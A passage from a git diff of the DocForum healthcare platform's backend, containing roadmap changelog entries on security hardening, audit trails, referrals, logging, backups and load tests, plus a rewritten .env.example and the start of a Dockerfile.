Proposed, not + yet Accepted. Added to the docs site. +- 2026-10-09 β€” Opened issue #32: upgrade to escrow SDK 0.3.0 and the + current testnet contract.- 2026-10-16 β€” Implemented issue #77 (SEP-10 Stellar Web Authentication server, Phase 5.5 / ADR 0005 step 4): `GET + /payments/sep10/challenge` builds a server-signed challenge (SDK + helper β€” Manage Data nonce, 5-minute time bounds, home domain + + web_auth_domain) and records the issuance binding; `POST + /payments/sep10/verify` walks the full SEP-10 server verification + list (structure, time bounds, server signature, client signatures + with multisig weight thresholds loaded from Horizon, and the + spec's master-key rule for unfunded accounts), then consumes the + nonce with ONE conditional UPDATE so concurrent replays can't both + succeed β€” same DB-level pattern as booking. New `Sep10Challenge` + model (unique nonce, userId, account, expiry) with a migration; a + dedicated `SEP10_SIGNING_SECRET` (never the payer/releaser keys, + validated at startup, never logged). Horizon is behind an injectable + seam so the 15 unit + 18 integration tests run with zero network. + Docs updated: ARCHITECTURE Β§4.10, essentials data-model map, + docs/api/README.md (endpoints + errors + unfunded behaviour). +- 2026-10-15 β€” Started Phase 8's auth-hardening work, scoped as issues #34 (email verification), #35 (login brute-force throttling), #37 (CSRF + for the cookie-authenticated endpoints + per-environment CORS allowlist) and #39 (admin account lifecycle). All four are independent of Phases + 3–7 and of each other. #34 merged as PR #137: `User.emailVerifiedAt` + + a hashed/expiring/single-use `EmailVerificationToken` table (backfilled + as verified for existing rows), `POST /auth/verify-email`, + `POST /auth/verify-email/resend` (account-scoped, rate-limited), and a + `requireVerifiedEmail` guard on booking + payment mutations β€” never on + login/browsing. Also added + `backend/scripts/mark-email-verified.mjs` as the documented interim for + operating a deployment before an email provider exists (issue #17), and + flagged that dependency in ARCHITECTURE.md Β§6.1.5. + + #35 merged as PR #138: a Postgres `LoginAttempt` + table with per-email and per-IP buckets, moved by a single conditional + upsert (`INSERT ... ON CONFLICT DO UPDATE`) so concurrent bad logins are + counted atomically, exponential backoff with a `Retry-After` header, a + bounded temporary lock that hammering can't extend, an admin + `/auth/login-attempts/clear` escape hatch, a prune interval, and a + `TRUST_PROXY` setting so throttling keys on the real client IP. Also + closed a related timing leak: an unknown email now pays the same bcrypt + comparison cost as a known one. + + #37 has landed as a PR: the refresh cookie is + `SameSite=None` cross-site, so `/auth/refresh` and `/auth/logout` now + require an `X-CSRF-Token` header whose value is a per-session claim + inside the refresh JWT (rotating with it), an `Origin` allowlist check, + and a per-environment CORS allowlist (`CORS_ORIGINS`). The classic + double-submit cookie was rejected for a concrete reason β€” a cookie set + by this API is third-party to `docforum.github.io`, so the web client + could never read it; the token travels in the response body. Integration + tests assert a + forged cross-origin request is rejected while the legitimate cross-site + client still succeeds. +- 2026-10-17 β€” Issue #40 (patient data export, right of access) opened as a + PR: export job + status + streamed download routes under + `/patients/me/export`, owner-only (doctors/admins `403`, someone else's id + `404`). An exporter registry (`src/export-sections.ts`) where each module + contributes its own section through its service β€” documented in + ARCHITECTURE.md Β§3.1 so new modules know to register. Bundles are written + page by page into bounded Postgres chunks (no object-storage provider yet + β€” recorded as ARCHITECTURE.md Β§6.3.4), expire after 24 h by default, and + are deleted by an interval cleanup job. Job state moves only through + conditional UPDATEs with an attempt fencing token, so concurrent workers + and crashed claims can't publish a partial bundle. +- 2026-10-17 β€” Issue #43 (AuditEvent foundation) opened as a PR: the + `AuditEvent` table (append-only, enforced by DB triggers; no FKs on + purpose), an `audit` module whose `record()` refuses to run outside a + transaction, an `X-Request-Id` middleware, and `GET /admin/audit-events` + with a keyset cursor. Wired into booking (inside `bookSlot`'s existing + transaction, after the slot claim β€” the concurrency guarantee is + unchanged), doctor verification (previous status read `FOR UPDATE`) and + payment fund/release/refund (status writes now conditional on the + observed state, so a racing second action gets 409 instead of silently + overwriting). Rollback coupling proven with a real injected DB failure, + not a mock. Phase 4 wiring explicitly left pending. +- 2026-10-20 β€” Added the PR conflict notifier workflow (see the CI item above): maintainers no longer need to manually ask authors to rebase after each merge. +- 2026-10-20 β€” Rebased the Phase 3 referral branch onto the current `main` + and resolved the merge by hand. The earlier merge commit had resolved + conflicts by taking `main`'s model definitions wholesale, which dropped + the branch's own work (the appointment lifecycle the referral cascade + depends on, the `Referral` relation fields, and the `Consultation`↔ + appointment link) and left two `AuditEvent` models in one schema β€” the + `prisma generate` failure CI reported (P1012). The branch is now + `main` + two commits (Phase 3 referral core, ADR 0006) with the union of + both sides' work, and the referral audit events go into `main`'s single + `AuditEvent` table instead of a second one. +- 2026-10-17 β€” Built the Phase 3 referral core on branch + `feat/referral-phase3-cascade-multi-loop-admin`: issues #5, #7 and + #65–#68 (plus the minimal #3/#4 slices they depend on β€” appointment + status transitions and a one-per-appointment `Consultation` record). + Schema: `Referral` filled in from its sketch, `Consultation` linked to + its appointment, `Appointment.availabilitySlotId` made nullable so a + cancellation can release a slot. The referral↔appointments cycle is + service-to-service in both directions (accept books through + `bookForReferral` β†’ `claimOpenSlot`; status transitions call back into + `applyAppointmentOutcome` inside the same transaction) β€” never a + repository import across the boundary. 42 unit tests + 55 integration + tests pass, including 8 genuinely concurrent accepts on one referral + (exactly one wins β€” the same proof shape as the booking test), batch + rollback, loop chains, cascade idempotency and admin-role gating. + + **One deliberate re-scope to review, not silently absorbed:** (1) + `target_doctor_id` is required, so the routing gap (ARCHITECTURE.md + Β§6.1.2 / issue #6) is closed for v1 by making unassigned referrals + impossible β€” and with it, PRD Β§8.2.2's distinct "waiting for a + specialist" state is unreachable rather than implemented. The ADR is + still owed. (2) `Referral.snapshotIntakeId` has no column, because + `IntakeForm` (issue #1) doesn't exist yet β€” the notes half of the + snapshot rule is real and enforced, the intake half is structurally + impossible to enforce and is noted as such rather than faked. + Issue #8 (time-based expiry) remains open: only the no-show cascade + reaches `expired`. The multi-referral decision (#66's ADR requirement) + is recorded as `docs/adr/0006-multiple-referrals-per-consultation.md`, + and the referral status machine is drawn out in ARCHITECTURE.md Β§4.4 + (#67's state-diagram DoD). Docs reconciled in the same change: + ARCHITECTURE.md Β§4.2–§4.4/Β§4.10/Β§5.2/Β§6.1.2/Β§6.2.2/Β§6.2.4, + ARCHITECTURE_ESSENTIALS.md data-model map + known gaps, PRD + Β§8.1.2–§8.1.4 and Β§8.2.1–§8.2.4, `docs/api/README.md` (which also still + listed `payments` as unimplemented β€” corrected), and this file's + Phase 2/3 status. + + **Audit trail (re-scoped 2026-10-20):** the referral admin actions are + recorded in the *existing* `AuditEvent` table (issue #43) as + `entity_type = 'Referral'` rows written through `auditService.record()` + in the same transaction as the referral change β€” not in a second, + referral-specific table. One audit trail, one set of append-only + triggers, one writer; `GET /referrals/admin/:id/audit-events` reads the + same rows the admin-wide `GET /admin/audit-events` serves. + +- 2026-10-20 β€” Closed an audit gap the Phase 3 referral work had + introduced: the referral **accept** path created an `Appointment` + through `bookForReferral` without writing an audit row, so it was the + one way to create an appointment that left no trail β€” and the existing + `appointment.booked` event's `origin` metadata (always `direct` until + then) was clearly built to tell the two booking paths apart. Fixed by + having the appointments module write `appointment.booked` for the + referral-origin booking too (`origin: 'referral'`, plus the referral id + it came from), and by recording the patient's own state change on the + referral as `referral.accepted` / `referral.declined` β€” both inside the + accept's transaction, so the decision and the appointment it produced + are recorded together or not at all. `declineReferral` now runs in a + transaction (it previously used the root client, which the audit helper + refuses by design). + + Two referral transitions are still **not** audited, and are recorded as + an open gap in ARCHITECTURE.md Β§4.10 rather than silently dropped: the + referral's *creation* (`null β†’ pending`) and the two the appointment + cascade drives (`accepted β†’ completed`, `accepted β†’ expired`), because + the cascade fires from inside the appointment's status transition, which + has no actor of its own to attribute. Both are owed when Phase 4/6 + wire the remaining state changes. Tests: two new integration cases + asserting the audit rows (the accept's two events, the decline's one) + against the real `AuditEvent` table. +- 2026-10-20 β€” Docs site: `docs/site/scripts/sync-docs.mjs` now rewrites repo-relative links in docforum-core's own synced files (ROADMAP, ARCHITECTURE, PRD, ADRs) to GitHub URLs, as it already did for the other repos. #153 added a relative link to `docs/adr/0006-multiple-referrals-per-consultation.md` in ROADMAP.md, which VitePress rejected as a dead link and which broke the docs deploy on `main`. +- 2026-10-21 β€” Started Phase 9's end-to-end care-thread integration test (issue #69): a single self-contained test in `backend/tests/integration/care-thread.test.mts` that drives book β†’ consult β†’ refer β†’ accept β†’ order β†’ fulfil β†’ release through HTTP only, against embedded Postgres with the escrow SDK mocked. Steps are phase-gated β€” booking/consult/refer/accept run now; order/fulfil/release are skipped with an explicit reason until Phases 4/5 land, so the scaffold merges first and each phase enables its own steps as it ships. Asserts invariants (referral snapshot equality, append-only orders, facility-only fulfillment, payment status), not just status codes. Runs as part of `test:integration` in CI, runtime under a minute. +- 2026-10-21 β€” Phase 9 structured logging landed: `pino` logger with a request-scoped child logger (`X-Request-Id` accepted or generated, echoed on the response), a redaction config for auth headers, cookies, passwords, tokens and PHI field paths (with unit tests asserting each is redacted), a `BigInt`-safe serialiser, and the error handler routed through the request-scoped logger (stacks server-side, safe envelope to the client). Log level is per-environment (`LOG_LEVEL`), quiet by default under test. The remaining `console.*` call sites and the `no-console` lint gate are follow-up scope, recorded in the Phase 9 item above. Phase 9 status updated to In progress; production deploy (issue #22) remains open. +- 2026-10-21 β€” Fixed the structured-logging change's syntax errors that failed local checks before push: a malformed string literal in `backend/tests/unit/logging-redaction.test.ts` and an invalid character in `backend/src/config/index.ts`. No behaviour change; the logging/redaction implementation described above is unchanged. +- 2026-10-21 β€” Fixed PR #189's CI failures: the missing `backend/src/logger.ts` (the module `request-id.ts`, `error-handler.ts` and the redaction tests import β€” implemented as the pino logger, redaction list, BigInt serialiser and request-child factory they expect), the `pino-logger` import typo (`from 'pino'`), a corrupted `package.json` (nonexistent `pg@^2.23.1` breaking `npm ci`, a `DATABASE_URL_TEST==` double equals, the `prisla:mygrate` script name, an `ARCHITECTURE0.md` typo, and a `lint:no-console` script pointing at a file that doesn't exist), `app.get('health')` β†’ `'/health'` (the missing slash 404'd the deploy health check), a mangled error-envelope comment in `error-handler.ts`, and the Phase 9 roadmap entry above (wrong logger path; overbroad "console.* replaced / ESLint rule / CI grep" claims). `pino-http` was dropped from the new dependencies: nothing imports it. Lockfile updated for `pino`. +- 2026-10-21 β€” Phase 9: automated Postgres backups with a tested restore drill ([issue #107](https://github.com/DocForum/docforum-core/issues/107)): `scripts/backup-postgres.sh` (gpg-encrypted `pg_dump`, retention), `scripts/restore-drill.sh` (guarded restore into a `_drill` database plus integrity checks), and a daily `.github/workflows/backup-restore-drill.yml`. ADR 0007. No schema or endpoint changes, so `ARCHITECTURE.md` Β§4 and `docs/api/README.md` are untouched. +- 2026-10-20 β€” Fixed the backup drill shipped above, which had never run. `backup-restore-drill.yml` was invalid YAML, so it failed on every push to `main` (broken `BACKUP_ENCRYPTION_KEY` expression and service `--health-cmd` options, missing `POSTGRES_USER`). Both scripts had shell syntax errors (`psal`, `-symmetric`, malformed heredocs, a broken `find -printf`, mangled parameter expansions). Also: gpg now reads the passphrase non-interactively (`--pinentry-mode loopback`); the restore drops and recreates the scratch database through the `postgres` maintenance database and only accepts plain identifiers; the backup log no longer prints the connection string (it contains the password). Corrected the roadmap entry, which described files that don't exist (`postgres-backup.yml`, `restore-drill.mjs`, `age`, `docs/backups.md`). Separately, `tests/integration/sessions.test.mts` moved its embedded Postgres from port 5438 to 5451, because 5438 is already used by `access-control.test.mts` and vitest runs integration files in parallel. +- 2026-10-21 β€” Phase 9: automated Postgres backups with a tested restore drill (issue #30). Encrypted logical backups (`pg_dump` piped through `age`, checksummed manifest, retention policy) scheduled in `.github/workflows/postgres-backup.yml`; a restore script (`scripts/restore-drill.mjs`) that restores the latest backup into a scratch database and runs integrity checks (row counts, migration version, a sample booking query), with hard safety guards β€” explicit confirmation flag, scratch-name pattern check, and refusal to target any live database by name or by matching `DATABASE_URL`/`STAGING_DATABASE_URL`/`PRODUCTION_DATABASE_URL`. The drill runs on a schedule in CI against staging backups and alerts on failure. RPO/RTO targets and the measured restore time are documented in `docs/backups.md`. Backups contain PHI, so encryption at rest and access control are mandatory and enforced in the workflow (artifact encryption key is a repo secret; artifacts are never uploaded unencrypted). No schema or endpoint changes, so `ARCHITECTURE.md` Β§4 and `docs/api/README.md` are untouched. +- 2026-10-20 β€” Hardened the PR automation against transient GitHub API errors. Today a single 500/503 response aborted a whole conflict-notifier run, so no PR after it got labelled. Both `pr-conflict-notifier.yml` and `pr-malware-scan.yml` now set `retries: 3` on `actions/github-script`, so 5xx responses are retried. The notifier also isolates each PR: a PR whose API calls still fail is skipped with a warning, listed as "API error, retried next run" in the run summary, and the remaining PRs are processed normally. +- 2026-10-21 β€” Added Phase 9 load tests (k6): doctor search, slot listing, and a booking-contention scenario (many VUs against a small slot pool). A seeding script creates realistic volumes (thousands of doctors and slots); a manual/nightly workflow runs them against a seeded local stack with enforced thresholds (p95 latency, zero double-bookings, error budget) and never against the shared Render preview. The contention scenario verifies exactly one booking per slot from the database after the run. First results and any motivated index/query fixes recorded in `backend/tests/load/REPORT.md`. +- 2026-10-22 β€” Fixed syntax errors in the Phase 9 k6 load scripts (`backend/tests/load/search.js`, `slots.js`, `booking-contention.js`) that failed the local syntax check before push (unterminated string literal, missing commas, stray identifier). No behaviour change to the scenarios or thresholds; the load-tests workflow and `REPORT.md` are unchanged. +- 2026-10-19 β€” Implemented issue #90's patient payment-history and facility + ledger APIs. Lists are owner-scoped and keyset-paginated; ledger totals + are aggregated in PostgreSQL and serialized as decimal strings. The + existing custodial v1 model has no `refund_after` field, so the API + returns `refundAfter: null` rather than implying a deadline exists. +- 2026-10-19 β€” Implemented issue #91's scheduled and manually dispatched + testnet payment workflow. Every run generates new test identities, + retries Friendbot with bounded jitter, reports infrastructure/contract + reset failures separately from assertion failures, and updates one open + tracking issue instead of posting repeated reports. +- 2026-10-19 β€” Implemented issue #92's pooled payout prototype. The call path + applies a testnet-only pool address override while keeping direct facility + payouts as the default in production and local environments, with the + configuration controlled by `PAYOUT_PRIVACY_MODE` and + `PAYOUT_PRIVACY_POOL_ADDRESS`. +- 2026-10-22 β€” Phase 2: tokenised ICS calendar feed for doctors' schedules. A per-doctor secret feed token (rotatable and revocable; rotation invalidates the old URL immediately) backs `GET /calendar/:token.ics`, which emits `DocForum appointment` events with the time and a deep link only β€” no patient name, intake or reason β€” plus `STATUS:CANCELLED` for cancellations, `ETag`/`Last-Modified` for cheap polling, and UTC times with correct `TZID` handling. Token management is in `doctors`, the feed in `appointments`; tests assert the generated feed contains no PHI. `docs/api/README.md` documents subscribing; `ARCHITECTURE.md` Β§4 records the token columns. \ No newline at end of file diff --git a/backend/.env.example b/backend/.env.example index 1ee6902e..40a89536 100644 --- a/backend/.env.example +++ b/backend/.env.example @@ -1,128 +1,128 @@ -DATABASE_URL=postgresql://docforum:docforum@localhost:5432/docforum_dev -JWT_ACCESS_SECRET=changeme -JWT_REFRESH_SECRET=changeme -PORT=4000 -# CORS allowlist (Phase 8, issue #37). Comma-separated; `CORS_ORIGIN` still -# works as a single-origin fallback. Defaults: local dev = -# http://localhost:5173 + http://127.0.0.1:5173, production = -# https://docforum.github.io. -CORS_ORIGINS=http://localhost:5173,http://127.0.0.1:5173 - -# Email verification (Phase 8, issue #34). Defaults are in src/config/index.ts. -# No email provider exists yet (Phase 6, issue #17) β€” see scripts/README.md for -# the interim operator path on a hosted deployment. -EMAIL_VERIFICATION_TOKEN_TTL_MINUTES=1440 -EMAIL_VERIFICATION_RESEND_INTERVAL_SECONDS=60 -EMAIL_VERIFICATION_LANDING_URL=http://localhost:5173/verify-email -# Express `trust proxy` (Phase 8, issue #35). Login throttling keys on the -# client IP, so this must match the real deployment: `1` behind Render's -# single proxy hop, `false` (the default) for local dev with nothing in -# front. `true` would let a client spoof X-Forwarded-For; leaving it unset in -# production makes every request look like the proxy's own address. -TRUST_PROXY=false - -# Login throttling (Phase 8, issue #35). Defaults are in src/config/index.ts. -LOGIN_THROTTLE_WINDOW_SECONDS=900 -LOGIN_THROTTLE_BACKOFF_AFTER=3 -LOGIN_THROTTLE_BACKOFF_BASE_SECONDS=2 -LOGIN_THROTTLE_BACKOFF_MAX_SECONDS=300 -LOGIN_THROTTLE_LOCK_AFTER=10 -LOGIN_THROTTLE_LOCK_SECONDS=900 -LOGIN_THROTTLE_PRUNE_INTERVAL_SECONDS=3600 -LOGIN_THROTTLE_PRUNE_AFTER_SECONDS=86400 - -# PHI read-access log retention (Phase 8, issue #45). AccessLog rows older -# than this many days are deleted by the prune job in src/server.ts. -ACCESS_LOG_RETENTION_DAYS=365 - -# Patient data export (Phase 8, issue #40). Defaults are in src/config/index.ts. -PATIENT_EXPORT_TTL_HOURS=24 -PATIENT_EXPORT_PAGE_SIZE=200 -PATIENT_EXPORT_CHUNK_BYTES=262144 -PATIENT_EXPORT_WORKER_INTERVAL_SECONDS=15 -PATIENT_EXPORT_CLEANUP_INTERVAL_SECONDS=300 -PATIENT_EXPORT_STALE_AFTER_SECONDS=900 -PATIENT_EXPORT_MAX_ATTEMPTS=3 - -# Account deletion purge (Phase 8, issue #41, docs/adr/0010). Only record-free -# tombstones are purged; the grace period is operational, not legal. -ACCOUNT_PURGE_GRACE_HOURS=24 -ACCOUNT_PURGE_INTERVAL_SECONDS=21600 -REFERRAL_PENDING_TTL_DAYS=14 -REFERRAL_EXPIRY_SWEEP_INTERVAL_SECONDS=3600 - -# Guardians and dependents (Phase 8, issue #42, docs/adr/0011). Guardian -# access ends when a dependent reaches this age (UTC calendar date). -AGE_OF_MAJORITY_YEARS=18 - -# Payments (Phase 5.5 β€” custodial v1, see docs/adr/0004-custodial-payments-v1.md) -# Testnet only (docforum-escrow hard rule 4) β€” real secret keys, never commit -# a filled-in .env. Generate + fund your own with: -# node scripts/gen-platform-identities.mjs -# (writes secrets directly to .env, never prints them). -# Admin invites (Phase 8, issue #39). `ADMIN_INVITE_ACCEPT_URL` is where the -# invite link points β€” docforum-web owns that page. -ADMIN_INVITE_TTL_HOURS=72 -ADMIN_INVITE_ACCEPT_URL=http://localhost:5173/accept-admin-invite - -PLATFORM_PAYER_SECRET= -PLATFORM_RELEASER_SECRET= -# The live testnet docforum-escrow deployment this repo currently targets -# β€” see that repo's docs/testnet-deployments.md for the current value. -ESCROW_CONTRACT_ID=CAXESEEAJILFFCN3PH2HHNMWAAHLEB64UTJHZ6IP7C5BBICT3S3VODSM -# Native XLM SAC on testnet (stellar contract id asset --asset native --network testnet) -# Kept as the legacy fallback for PaymentIntent rows created before #79; -# new intents take their token from PAYMENT_ASSETS below. -ESCROW_TOKEN_ID=CDLZFC3SYJYDZT7K67VZ75HPJVIEUVNIXF47ZG2FB2RMQQVU2HHGCYSC - -# Per-environment payment asset allowlist (issue #79). JSON array of -# { code, tokenContractId, decimals, issuer? }. Defaults (testnet XLM + USDC) -# live in src/config/index.ts; production MUST set this explicitly with -# mainnet contract ids. Only assets without clawback, transfer fees or -# rebasing belong here (escrow threat model T5). -# PAYMENT_ASSETS=[{"code":"XLM","tokenContractId":"CDLZFC3SYJYDZT7K67VZ75HPJVIEUVNIXF47ZG2FB2RMQQVU2HHGCYSC","decimals":7},{"code":"USDC","tokenContractId":"CBIELTK6YBZJU5UP2WWQEUCYKLPU6AUNZ2BQ4WWFEIE3USCIHMXQDAMA","decimals":7,"issuer":"GBBD47IF6LWK7P7MDEVSCWR7DPUWV3NY3DTQEVFL4NAT4AQH3ZLLFLA5"}] -# Horizon is read only for payee trustline checks before funding/prepare. -HORIZON_URL=https://horizon-testnet.stellar.org - -# ADR 0005 prepare (issue #80). Defaults are in src/config/index.ts. -# prepared transaction TTL, and the expiry sweep cadence. -PAYMENT_PREPARE_TTL_SECONDS=300 -PAYMENT_PREPARE_EXPIRY_SWEEP_INTERVAL_SECONDS=60 -# refund_after = order expiry + grace; orders have no expiry field yet -# (Phase 4), so the intent's createdAt is the anchor. -PAYMENT_ORDER_EXPIRY_HOURS=72 -PAYMENT_REFUND_GRACE_HOURS=24 - -# Contract event ingestion (issue #86). Use comma-separated id@deployment-ledger -# pairs to include current and historical redeployments. Each deployment needs -# its own start ledger so RPC retention loss is detected rather than skipped. -ESCROW_CONTRACTS=CAXESEEAJILFFCN3PH2HHNMWAAHLEB64UTJHZ6IP7C5BBICT3S3VODSM@1 -# SOROBAN_RPC_URL may override ESCROW_RPC_URL for the event poller. -ESCROW_EVENT_POLL_INTERVAL_SECONDS=15 -# Optional JSON webhook for high-severity unmatched release/refund events. -ESCROW_EVENT_ALERT_WEBHOOK_URL= -# Signing backend (issue #87). env keeps the current local-key behaviour; remote uses the HTTP signer contract in docs/adr/0004. -PLATFORM_SIGNER_MODE=env -PLATFORM_PAYER_PUBLIC_KEY= -PLATFORM_RELEASER_PUBLIC_KEY= -PLATFORM_SIGNER_URL= -PLATFORM_SIGNER_TOKEN= -PLATFORM_SIGNER_TIMEOUT_MS=10000 -# Network and contract safeguards (issue #88). Startup probes this known escrow when configured. -ESCROW_NETWORK_PASSPHRASE=Test SDF Network ; September 2015 -ESCROW_RPC_URL=https://soroban-testnet.stellar.org -ESCROW_HEALTHCHECK_ID= -# Comma-separated read-only legacy registries and accepted escrow tokens. -ESCROW_LEGACY_CONTRACT_IDS= -ESCROW_ASSET_ALLOWLIST= -# Mainnet is refused unless explicitly enabled after security review. -ALLOW_MAINNET=false -# Issue #92 testnet-only prototype: defaults to direct facility payouts. -# `pooled` routes escrow payouts to this shared G-address and is rejected in -# production; use only a testnet account during evaluation. -PAYOUT_PRIVACY_MODE=facility -PAYOUT_PRIVACY_POOL_ADDRESS= - -DB_POOL_MAX=5 -DB_CONNECTION_TIMEOUT_MS=5000 -DB_STATEMENT_TIMEOUT_MS=10000 +DATABASE_URL=postgresql://docforum:docforum@localhost:5432/docforum_dev +JWT_ACCESS_SECRET=changeme +JWT_REFRESH_SECRET=changeme +PORT=4000 +# CORS allowlist (Phase 8, issue #37). Comma-separated; `CORS_ORIGIN` still +# works as a single-origin fallback. Defaults: local dev = +# http://localhost:5173 + http://127.0.0.1:5173, production = +# https://docforum.github.io. +CORS_ORIGINS=http://localhost:5173,http://127.0.0.1:5173 + +# Email verification (Phase 8, issue #34). Defaults are in src/config/index.ts. +# No email provider exists yet (Phase 6, issue #17) β€” see scripts/README.md for +# the interim operator path on a hosted deployment. +EMAIL_VERIFICATION_TOKEN_TTL_MINUTES=1440 +EMAIL_VERIFICATION_RESEND_INTERVAL_SECONDS=60 +EMAIL_VERIFICATION_LANDING_URL=http://localhost:5173/verify-email +# Express `trust proxy` (Phase 8, issue #35). Login throttling keys on the +# client IP, so this must match the real deployment: `1` behind Render's +# single proxy hop, `false` (the default) for local dev with nothing in +# front. `true` would let a client spoof X-Forwarded-For; leaving it unset in +# production makes every request look like the proxy's own address. +TRUST_PROXY=false + +# Login throttling (Phase 8, issue #35). Defaults are in src/config/index.ts. +LOGIN_THROTTLE_WINDOW_SECONDS=900 +LOGIN_THROTTLE_BACKOFF_AFTER=3 +LOGIN_THROTTLE_BACKOFF_BASE_SECONDS=2 +LOGIN_THROTTLE_BACKOFF_MAX_SECONDS=300 +LOGIN_THROTTLE_LOCK_AFTER=10 +LOGIN_THROTTLE_LOCK_SECONDS=900 +LOGIN_THROTTLE_PRUNE_INTERVAL_SECONDS=3600 +LOGIN_THROTTLE_PRUNE_AFTER_SECONDS=86400 + +# PHI read-access log retention (Phase 8, issue #45). AccessLog rows older +# than this many days are deleted by the prune job in src/server.ts. +ACCESS_LOG_RETENTION_DAYS=365 + +# Patient data export (Phase 8, issue #40). Defaults are in src/config/index.ts. +PATIENT_EXPORT_TTL_HOURS=24 +PATIENT_EXPORT_PAGE_SIZE=200 +PATIENT_EXPORT_CHUNK_BYTES=262144 +PATIENT_EXPORT_WORKER_INTERVAL_SECONDS=15 +PATIENT_EXPORT_CLEANUP_INTERVAL_SECONDS=300 +PATIENT_EXPORT_STALE_AFTER_SECONDS=900 +PATIENT_EXPORT_MAX_ATTEMPTS=3 + +# Account deletion purge (Phase 8, issue #41, docs/adr/0010). Only record-free +# tombstones are purged; the grace period is operational, not legal. +ACCOUNT_PURGE_GRACE_HOURS=24 +ACCOUNT_PURGE_INTERVAL_SECONDS=21600 +REFERRAL_PENDING_TTL_DAYS=14 +REFERRAL_EXPIRY_SWEEP_INTERVAL_SECONDS=3600 + +# Guardians and dependents (Phase 8, issue #42, docs/adr/0011). Guardian +# access ends when a dependent reaches this age (UTC calendar date). +AGE_OF_MAJORITY_YEARS=18 + +# Payments (Phase 5.5 β€” custodial v1, see docs/adr/0004-custodial-payments-v1.md) +# Testnet only (docforum-escrow hard rule 4) β€” real secret keys, never commit +# a filled-in .env. Generate + fund your own with: +# node scripts/gen-platform-identities.mjs +# (writes secrets directly to .env, never prints them). +# Admin invites (Phase 8, issue #39). `ADMIN_INVITE_ACCEPT_URL` is where the +# invite link points β€” docforum-web owns that page. +ADMIN_INVITE_TTL_HOURS=72 +ADMIN_INVITE_ACCEPT_URL=http://localhost:5173/accept-admin-invite + +PLATFORM_PAYER_SECRET= +PLATFORM_RELEASER_SECRET= +# The live testnet docforum-escrow deployment this repo currently targets +# β€” see that repo's docs/testnet-deployments.md for the current value. +ESCROW_CONTRACT_ID=CAXESEEAJILFFCN3PH2HHNMWAAHLEB64UTJHZ6IP7C5BBICT3S3VODSM +# Native XLM SAC on testnet (stellar contract id asset --asset native --network testnet) +# Kept as the legacy fallback for PaymentIntent rows created before #79; +# new intents take their token from PAYMENT_ASSETS below. +ESCROW_TOKEN_ID=CDLZFC3SYJYDZT7K67VZ75HPJVIEUVNIXF47ZG2FB2RMQQVU2HHGCYSC + +# Per-environment payment asset allowlist (issue #79). JSON array of +# { code, tokenContractId, decimals, issuer? }. Defaults (testnet XLM + USDC) +# live in src/config/index.ts; production MUST set this explicitly with +# mainnet contract ids. Only assets without clawback, transfer fees or +# rebasing belong here (escrow threat model T5). +# PAYMENT_ASSETS=[{"code":"XLM","tokenContractId":"CDLZFC3SYJYDZT7K67VZ75HPJVIEUVNIXF47ZG2FB2RMQQVU2HHGCYSC","decimals":7},{"code":"USDC","tokenContractId":"CBIELTK6YBZJU5UP2WWQEUCYKLPU6AUNZ2BQ4WWFEIE3USCIHMXQDAMA","decimals":7,"issuer":"GBBD47IF6LWK7P7MDEVSCWR7DPUWV3NY3DTQEVFL4NAT4AQH3ZLLFLA5"}] +# Horizon is read only for payee trustline checks before funding/prepare. +HORIZON_URL=https://horizon-testnet.stellar.org + +# ADR 0005 prepare (issue #80). Defaults are in src/config/index.ts. +# prepared transaction TTL, and the expiry sweep cadence. +PAYMENT_PREPARE_TTL_SECONDS=300 +PAYMENT_PREPARE_EXPIRY_SWEEP_INTERVAL_SECONDS=60 +# refund_after = order expiry + grace; orders have no expiry field yet +# (Phase 4), so the intent's createdAt is the anchor. +PAYMENT_ORDER_EXPIRY_HOURS=72 +PAYMENT_REFUND_GRACE_HOURS=24 + +# Contract event ingestion (issue #86). Use comma-separated id@deployment-ledger +# pairs to include current and historical redeployments. Each deployment needs +# its own start ledger so RPC retention loss is detected rather than skipped. +ESCROW_CONTRACTS=CAXESEEAJILFFCN3PH2HHNMWAAHLEB64UTJHZ6IP7C5BBICT3S3VODSM@1 +# SOROBAN_RPC_URL may override ESCROW_RPC_URL for the event poller. +ESCROW_EVENT_POLL_INTERVAL_SECONDS=15 +# Optional JSON webhook for high-severity unmatched release/refund events. +ESCROW_EVENT_ALERT_WEBHOOK_URL= +# Signing backend (issue #87). env keeps the current local-key behaviour; remote uses the HTTP signer contract in docs/adr/0004. +PLATFORM_SIGNER_MODE=env +PLATFORM_PAYER_PUBLIC_KEY= +PLATFORM_RELEASER_PUBLIC_KEY= +PLATFORM_SIGNER_URL= +PLATFORM_SIGNER_TOKEN= +PLATFORM_SIGNER_TIMEOUT_MS=10000 +# Network and contract safeguards (issue #88). Startup probes this known escrow when configured. +ESCROW_NETWORK_PASSPHRASE=Test SDF Network ; September 2015 +ESCROW_RPC_URL=https://soroban-testnet.stellar.org +ESCROW_HEALTHCHECK_ID= +# Comma-separated read-only legacy registries and accepted escrow tokens. +ESCROW_LEGACY_CONTRACT_IDS= +ESCROW_ASSET_ALLOWLIST= +# Mainnet is refused unless explicitly enabled after security review. +ALLOW_MAINNET=false +# Issue #92 testnet-only prototype: defaults to direct facility payouts. +# `pooled` routes escrow payouts to this shared G-address and is rejected in +# production; use only a testnet account during evaluation. +PAYOUT_PRIVACY_MODE=facility +PAYOUT_PRIVACY_POOL_ADDRESS= + +DB_POOL_MAX=5 +DB_CONNECTION_TIMEOUT_MS=5000 +DB_STATEMENT_TIMEOUT_MS=10000 diff --git a/backend/Dockerfile b/backend/Dockerfile index 74aa066a..57b83eaf 100644 --- a/backend/Dockerfile +++ b/backend/Dockerfile @@ -1,21 +1,21 @@ -FROM node:22-bookworm-slim AS deps -WORKDIR /app -COPY backend/package*.json ./ -RUN npm ci --omit=dev -FROM node:22-bookworm-slim AS build -WORKDIR /app -COPY backend/package*.json ./ -RUN npm ci -COPY backend ./ -RUN npm run build -FROM node:22-bookworm-slim AS runtime -ENV NODE_ENV=production -WORKDIR /app -RUN groupadd --system docforum && useradd --system --gid docforum docforum -COPY --from=deps /app/node_modules ./node_modules -COPY --from=build /app/dist ./dist -COPY --from=build /app/prisma ./prisma -COPY backend/package*.json ./ -USER docforum -EXPOSE 3000 -CMD ["node", "dist/server.js"] +FROM node:22-bookworm-slim AS deps +WORKDIR /app +COPY backend/package*.json ./ +RUN npm ci --omit=dev +FROM node:22-bookworm-slim AS build +WORKDIR /app +COPY backend/package*.json ./ +RUN npm ci +COPY backend ./ +RUN npm run build +FROM node:22-bookworm-slim AS runtime +ENV NODE_ENV=production +WORKDIR /app +RUN groupadd --system docforum && useradd --system --gid docforum docforum +COPY --from=deps /app/node_modules ./node_modules +COPY 